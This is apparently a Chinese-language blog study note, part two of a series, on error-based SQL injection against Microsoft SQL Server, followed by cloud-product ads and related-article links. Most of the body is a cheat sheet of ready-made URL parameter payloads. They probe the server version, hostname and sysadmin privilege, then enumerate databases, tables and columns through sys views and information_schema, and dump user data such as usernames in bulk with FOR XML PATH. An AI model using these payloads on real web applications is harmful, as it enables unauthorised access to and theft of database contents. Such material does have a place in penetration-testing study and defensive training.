【学习笔记】Sqlserver/Mssql注入总结(二)

本文涉及的产品
RDS SQL Server Serverless,2-4RCU 50GB 3个月
推荐场景:
云数据库 RDS SQL Server,基础系列 2核4GB
简介: 这是Sqlserver/Mssql注入总结的第二篇,将围绕报错注入进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。

这是Sqlserver/Mssql注入总结的第二篇,将围绕报错注入进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。



利用sys视图进行显错注入(类型原本是数字,输入的内容是字符,转换中失败导致报错)



爆数据库信息:





id=1' and 1=@@VERSION--          //查询sqlserver的版本id=1' and 1=@@SERVERNAME--          //查询sqlserver的主机名id=1' and 1=is_srvrolemember('sysadmin')--         //查询sqlserver注入点的权限是否为sa,可以换成public、dbowner等等判断



爆数据库名:




id=1' and 1=(select db_name(5))--  //查询数据库名,5可以遍历查询
id=1' and 1=(select top 1 name from master..sysdatabases where dbid>4)--     //查询第一个dbid(数据库id)大于4的数据库名,dbid可以遍历查询其他数据库



或者直接不加dbid:


id=1' and 1=(select top 1 name from master..sysdatabases where name<>'test')--     //查询第一个数据库,并且数据库名不等于test,也可以用!=,或者not in()




一次性爆出(sqlserver2005及以上版本适用):




id=1' and 1=(select quotename(name) from master..sysdatabases for xml path(''))--  //直接爆出所有数据库名,用【】括起来
id=1' and 1=(select ' |' %2bname%2b' |' from master..sysdatabases FOR XML PATH(''))--    //直接爆出所有数据库名,用 | 隔开



爆表名:




id=1' and 1=(select top 1 name from 数据库名..sysobjects where xtype='u')--  //爆第一个表名
id=1' and 1=(select top 1 name from 数据库名..sysobjects where xtype='u' and name<> 'test')--  //爆表名,并且表名不等于test,也可以使用!=或者not in()




一次性爆出(sqlserver2005及以上版本适用):




id=1' and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' for xml path(''))--  //爆出指定数据库的所有表,用【】括起来
id=1' and 1=(select '|' %2bname%2b '|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--    //直接爆出所有表名,用 | 隔开



爆列名:



id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='table表名'))--     //爆出xx表的第一个列名id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='table表名')and name<> '列名')--        //爆出xx表的列名,并且列名不等于xx,可以使用!=或者not in()




一次性爆出(sqlserver2005及以上版本适用):




id=1' and 1=(select quotename (name) from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--    //直接爆出xx数据库,xx表的字段,用【】括起来
id=1' and 1=(select ' |' %2bname%2b' |' from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--    //直接爆出xx数据库,xx表的字段,用 | 隔开





爆数据:




id=1' and 1=(select top 1 username from users)--            //查询users表中username列的第一行数据,
id=1' and 1=(select top 1 username from users where username<>'user1' and username<>'user2')--    //查询usernmae的值,并且不等于user1和user2,也可以使用!=或者not in()




一次性爆出指定列的所有数据(sqlserver2005及以上):




id=1' and 1=(SELECT quotename(列名一%2b'~'%2b列名二) from 数据库..表名 FOR XML PATH(''))--    //直接爆出列名1和列名2的全部内容,格式为[Dumb~Dumb]
id=1' and 1=(select '|' %2b列名一%2b'~'%2b列名二%2b '|' from 数据库..表名 FOR XML PATH(''))--    //直接爆出列名1和列名2的全部内容,格式为|Dumb~Dumb|






利用information_schema视图进行报错注入


爆数据库信息:





id=1' and 1=@@VERSION--          //查询sqlserver的版本id=1' and 1=@@SERVERNAME--          //查询sqlserver的主机名id=1' and 1=is_srvrolemember('sysadmin')--         //查询sqlserver注入点的权限是否为sa,可以换成public、dbowner等等判断


爆数据库名:


id=1' and 1=(select top 1 CATALOG_NAME from INFORMATION_SCHEMA.SCHEMATA)    //只能查到当前数据库名


其他的和sys视图报错语句基本一致




爆表名:




id=1' AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)--       //查询第一个表名
id=1' AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN('users'))--      //查询表名,并且表名不等于users,可以使用!=或者<>



一次性爆出(sqlserver2005及以上版本适用):




id=1' and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--  //爆出指定数据库的所有表
id=1' and 1=(select '|' %2btable_name%2b '|' from information_schema.tables FOR XML PATH(''))--    //直接爆出所有表名,用 | 隔开


爆列名:




id=1' AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns where table_name='users')       //查询users表的第一个列名
id=1' AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns where table_name='表名' and column_name NOT IN('id'))--         //查询列名,并且列名不等于id




一次性爆出(sqlserver2005及以上版本适用):




id=1' and 1=(select quotename (column_name) from information_schema.columns where table_name='表名' FOR XML PATH(''))--    //直接爆出xx数据库,xx表的字段,用【】括起来
id=1' and 1=(select ' |' %2bcolumn_name%2b' |' from information_schema.columns where table_name='表名' FOR XML PATH(''))--    //直接爆出xx数据库,xx表的字段,用 | 隔开



爆数据:




id=1' and 1=(select top 1 username from users)--            //查询users表中username列的第一行数据
id=1' and 1=(select top 1 username from users where username<>'user1' and username<>'user2')--    //查询usernmae的值,并且不等于user1和user2,也可以使用!=或者not in()




一次性爆出指定列的所有数据(sqlserver2005及以上):




id=1' and 1=(SELECT quotename(列名一%2b'~'%2b列名二) from 数据库名..表名 FOR XML PATH(''))--    //直接爆出列名1和列名2的全部内容,格式为[Dumb~Dumb]
id=1' and 1=(select '|' %2b列名一%2b'~'%2b列名二%2b '|' from 数据库名..表名 FOR XML PATH(''))--    //直接爆出列名1和列名2的全部内容,格式为|Dumb~Dumb|


相关实践学习
使用SQL语句管理索引
本次实验主要介绍如何在RDS-SQLServer数据库中,使用SQL语句管理索引。
SQL Server on Linux入门教程
SQL Server数据库一直只提供Windows下的版本。2016年微软宣布推出可运行在Linux系统下的SQL Server数据库,该版本目前还是早期预览版本。本课程主要介绍SQLServer On Linux的基本知识。 相关的阿里云产品:云数据库RDS&nbsp;SQL Server版 RDS SQL Server不仅拥有高可用架构和任意时间点的数据恢复功能,强力支撑各种企业应用,同时也包含了微软的License费用,减少额外支出。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/sqlserver
目录
相关文章
|
SQL 存储 关系型数据库
MSSQL之一 数据库系统简介 与SQL Server 2008概述
MSSQL之一 数据库系统简介 与SQL Server 2008概述
110 0
|
SQL
MSSQL系列之十二Sql Server 2005安装
MSSQL系列之十二Sql Server 2005安装
73 0
|
SQL 存储 数据可视化
MSSQL之二 Sql Server中管理库与表
MSSQL之二 Sql Server中管理库与表
77 0
|
SQL 安全 Java
6. 成功解决:Driver class 'com.microsoft.sqlserver.jdbc.SQLServerDriver' could not be found, make sure the 'MS SQL Server (Native)' driver (jar file) is installed.
在使用 Kettle(Spoon) 工具创建 SQL Server 数据库连接时,提示:Driver class 'com.microsoft.sqlserver.jdbc.SQLServerDriver' could not be found, make sure the 'MS SQL Server (Native)' driver (jar file) is installed. com.microsoft.sqlserver.jdbc.SQLServerDriver
1497 1
|
数据库
【学习笔记】Sqlserver/Mssql注入总结(三)
这是Sqlserver/Mssql注入总结的第三篇,将围绕布尔盲注入和一些特殊字符过滤的绕过进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。
214 0
|
数据库
【学习笔记】Sqlserver/Mssql注入总结(一)
这是Sqlserver/Mssql注入总结的第一篇,将围绕union联合注入进行讲述,内容相对来说,比较中规中矩,有需要的可以考虑收藏保存,当做备忘录使用。
329 0
|
SQL
SQLServer 学习笔记之超详细基础SQL语句 Part 12(The End)
SQLServer 学习笔记之超详细基础SQL语句 Part 12(The End)
62 0
|
SQL Go
SQLServer 学习笔记之超详细基础SQL语句 Part 11
SQLServer 学习笔记之超详细基础SQL语句 Part 11
112 0
|
2月前
|
SQL 数据库
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
SQL Server附加数据库出现错误823,附加数据库失败。数据库没有备份,无法通过备份恢复数据库。 SQL Server数据库出现823错误的可能原因有:数据库物理页面损坏、数据库物理页面校验值损坏导致无法识别该页面、断电或者文件系统问题导致页面丢失。
100 12
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
|
14天前
|
存储 数据挖掘 数据库
数据库数据恢复—SQLserver数据库ndf文件大小变为0KB的数据恢复案例
一个运行在存储上的SQLServer数据库,有1000多个文件,大小几十TB。数据库每10天生成一个NDF文件,每个NDF几百GB大小。数据库包含两个LDF文件。 存储损坏,数据库不可用。管理员试图恢复数据库,发现有数个ndf文件大小变为0KB。 虽然NDF文件大小变为0KB,但是NDF文件在磁盘上还可能存在。可以尝试通过扫描&拼接数据库碎片来恢复NDF文件,然后修复数据库。